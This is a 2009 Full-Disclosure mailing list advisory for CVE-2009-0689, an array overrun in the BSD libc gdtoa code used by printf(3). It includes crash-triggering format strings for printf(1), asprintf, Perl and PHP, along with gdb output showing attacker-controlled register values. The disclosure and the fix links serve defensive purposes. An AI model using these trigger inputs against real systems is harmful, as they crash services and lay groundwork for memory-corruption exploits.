[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] SecurityReason: Multiple Vendors libc/gdtoa printf(3) Array Overrun
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] SecurityReason: Multiple Vendors libc/gdtoa printf(3) Array Overrun
- From: Maksymilian Arciemowicz <cxib@xxxxxxxxxxxxxxxxxx>
- Date: Fri, 26 Jun 2009 15:46:07 +0200
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[ Multiple Vendors libc/gdtoa printf(3) Array Overrun ]
Author: Maksymilian Arciemowicz
http://SecurityReason.com
Date:
- - Dis.: 07.05.2009
- - Pub.: 25.06.2009
CVE: CVE-2009-0689
Risk: High
Affected Software (12.06.2009):
- - OpenBSD 4.5
- - NetBSD 5.0
- - FreeBSD 7.2/6.4
Original URL:
http://securityreason.com/achievement_securityalert/63
- --- 0.Description ---
Week after the release of new version OpenBSD and NetBSD, our research
team has checked a new implementation of gdtoa
http://openbsd.org/45.html
- ---
A new version of the gdtoa code has been integrated, bringing better C99
support to printf(3) and friends.
- ---
More:
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/
- --- 1. Multiple Vendors libc/gdtoa printf(3) Array Overrun ---
The main problem exists in new dtoa implementation.
asprintf(3) will crash for asprintf(ssij, "%0.262159f",x)
where x != 0
the behavior is correct for 262158
Let's see:
(gdb) r
Starting program: /cxib/C/check
Program received signal SIGSEGV, Segmentation fault.
0xbbbb79d9 in __Balloc_D2A () from /usr/lib/libc.so.12
(gdb) bt
#0 0xbbbb79d9 in __Balloc_D2A () from /usr/lib/libc.so.12
#1 0xbbbab6d7 in __rv_alloc_D2A () from /usr/lib/libc.so.12
#2 0xbbba8db5 in __dtoa () from /usr/lib/libc.so.12
#3 0xbbba671f in __vfprintf_unlocked () from /usr/lib/libc.so.12
#4 0xbbb882e1 in asprintf () from /usr/lib/libc.so.12
#5 0x08048706 in main () at check.c:6
Let's see src/lib/libc/gdtoa/gdtoaimp.h
- ---gdtoaimp.h---
...
#define Kmax 15
...
- ---gdtoaimp.h---
The maximum Kmax length is 15. If we give bigger value, like 17 (edi),
program will overrun freelist array. bss will have 0x1.
Correct reason (by NetBSD):
- ---gdtoaimp.h---
...
#define Kmax (sizeof(size_t) << 3)
...
- ---gdtoaimp.h---
What is wrong? This program will crash in
- --- src/lib/libc/gdtoa/misc.c ---
if ( (rv = freelist[k]) !=0) {
freelist[k] = rv->next;
}
else {
x = 1 << k;
#ifdef Omit_Private_Memory
rv = (Bigint *)MALLOC(sizeof(Bigint) + (x-1)*sizeof(ULong));
#else
len = (sizeof(Bigint) + (x-1)*sizeof(ULong) + sizeof(double) -
1)
/sizeof(double);
if ((double *)(pmem_next - private_mem + len) <= (double
*)PRIVATE_mem) {
rv = (Bigint*)(void *)pmem_next;
pmem_next += len;
}
else
rv = (Bigint*)MALLOC(len*sizeof(double));
#endif
if (rv == NULL)
return NULL;
rv->k = k;
rv->maxwds = x;
}
- --- src/lib/libc/gdtoa/misc.c ---
here
rv->k = k;
or
freelist[k] = rv->next;
A good example to show this issue is printf(1) program.
127# printf %1.262159f 1.1
Memory fault (core dumped)
127# printf %11.2109999999f
210919999199919999199991791199.5000000000000000000000000000000001000000000001001
esi = 0x12
edi = 0x1d
127# printf %11.2009999999f
220919999199919999199991791199.5000000000000000000000000000000001000000000001001
esi = 0x13
edi = 0x1d
we can manipulate esi reg.
127# printf %11.2009999999f
126768668100000000000000000000.100000000000000000000000000000000000000000000000111111111
Program received signal SIGSEGV, Segmentation fault.
__Balloc_D2A (k=29) at /usr/src/lib/libc/gdtoa/misc.c:59
59 freelist[k] = rv->next;
(gdb) i r
eax 0x20efdb04 552590084
ecx 0x77ce2a9d 2010000029
edx 0x0 0
ebx 0x20eff654 552597076
esp 0xcfbfc2b0 0xcfbfc2b0
ebp 0xcfbfc2c8 0xcfbfc2c8
esi 0x41414141 1094795585
edi 0x1d 29
eip 0xf59317 0xf59317
eflags 0x10206 66054
cs 0x2b 43
ss 0x33 51
ds 0x33 51
es 0x33 51
fs 0x33 51
gs 0x33 51
esi = 0x41414141
edi = 0x1d
1267686681 is value of esi reg.
program will crash in
freelist[k] = rv->next;
Example 0:
- --- chujwamwmuzg.pl ---
#!/usr/local/bin/perl
printf "%0.4194310f", 0x0.0x41414141;
- --- chujwamwmuzg.pl ---
Perl will crash with
esi = 0x41414141
edi = 0x15
Example 1:
127# php -r 'money_format("%0.262159n", 1.1111);'
Memory fault (core dumped)
Programs that allow you to enter/control format string, are vulnerable.
We believe that the OpenBSD source-tree have only printf(1) and perl(1)
affected.
Functions like printf(3), strfmon(3), fprintf(3), sprintf(3),
snprintf(3), asprintf(3), vprintf(3), vfprintf(3), vsprintf(3),
vsnprintf(3), vasprintf(3) and others, are vulnerable (with new gdtoa impl.)
Other languages are also affected ( printf in perl )
- --- 2. Fix ---
NetBSD fix:
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h
OpenBSD fix:
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c
- --- 3. Greets ---
Christos Zoulas
sp3x Infospec Chujwamwdupe p_e_a pi3
- --- 4. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
Email: cxib {a.t] securityreason [d0t} com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com/
http://securityreason.pl/
-----BEGIN PGP SIGNATURE-----
iEYEARECAAYFAkpE0R4ACgkQpiCeOKaYa9YYvwCg0fYitWkK3qzaVOmc2QfcJlxi
8mcAoJbBMawOs1N7dBWT5Ge4yvuhA8ZG
=ocve
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/